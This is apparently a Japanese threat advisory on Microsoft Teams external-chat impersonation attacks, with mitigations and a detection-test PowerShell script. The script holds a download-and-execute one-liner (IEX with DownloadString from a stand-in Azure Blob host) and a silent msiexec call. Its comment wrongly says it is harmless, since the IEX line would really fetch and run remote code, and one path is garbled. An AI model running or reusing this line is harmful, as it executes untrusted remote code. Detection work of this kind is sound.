Microsoft Teams External Chat Abuse Enables Initial Access

概要

脅威アクターは、Microsoft Teamsの外部チャット機能を悪用してなりすまし詐欺を行い、悪意あるファイルを配布しています。攻撃者は、正当性を装うためにITに関係する表示名や使い捨てのMicrosoft 365テナントを使用して被害者の信頼を得ようとします。接触が確立されると、しばしばビッシングやリモート監視・管理（RMM）ツールを用いて、実際にキーボード操作のアクセスを得ようとします。

調査

Arctic Wolfは、Microsoft Teamsの外部チャットの悪用に関する400以上のインシデントを分析しました。調査では、メールボンバリングによって緊急性が作られた後、攻撃者がITサポートを装ってTeamsを介して被害者に連絡を取るという繰り返されるパターンが確認されました。研究者たちは、 .onmicrosoft.com テナントから攻撃者制御の .top ドメインへのペイロードステージングへのシフトも観察しました。

緩和策

組織はTeams管理センターでオープンな外部アクセスポリシーを信頼されたドメインの許可リストに置き換えるべきです。また、管理されていないユーザーやTeams消費者アカウントとのチャットを無効にすることも推奨されます。Quick Assistなどのツールを制限し、未許可のRMMソフトウェアをブロックすることで、さらなるリスクを低減できます。

対応

疑わしい外部Teamsチャット活動が検出された場合、組織は、依頼者の身元を別の通信チャンネルを通じて確認するべきです。セキュリティチームは、 ChatCreated イベントをエンドポイントおよびIDのテレメトリーと関連付けて、潜在的な妥協を発見する必要があります。被害を受けたホストを素早く分離し、潜在的に妥協されたユーザーのセッショントークンを取り消すことが重要です。

シミュレーション実行

• 攻撃の記述 & コマンド: 攻撃者の目標は、悪意あるサービスをインストールすることで持続性を確立することです。検出を避けるため、彼らは公共のAzure Blobストレージコンテナからペイロードをダウンロードしようとします。彼らはPowerShellの「ワンライナー」を使用し、 Invoke-Expression （別名 IEX）と blob.core.windows.netに向けたURLを組み合わせます。このスクリプトがメモリ内で実行されると、 msiexec.exe の実行を引き起こし、最終ペイロードをインストールし、初期コマンドからシステムレベルのインストールまでの連鎖を完成させます。

• 回帰テストスクリプト:

  # シミュレーションスクリプト: PowerShellとAzure Blobによるペイロード実行
  # このスクリプトは、ルールが探す正確なパターンを模倣します。
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Azure Blob URLでのPowerShellスクリプトブロックの実行をシミュレート中..."
  # これはEventID 4104ロジックをトリガーします（IEX + blob.core.windows.net）
  Invoke-Expression "Write-Output 'Downloading from $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] MSIの実行をシミュレート中..."
  # これはEventID 4688ロジックをトリガーします（msiexec.exe）
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• クリーンアップコマンド:

  # クリーンアップ: このシミュレーションスクリプトによって実際の永続的なファイルは作成されません 
  # ダミーURLと標準システムMSIパスを使用しているため。
  Write-Host "[+] シミュレーション完了。システム上にアーティファクトは残っていません。"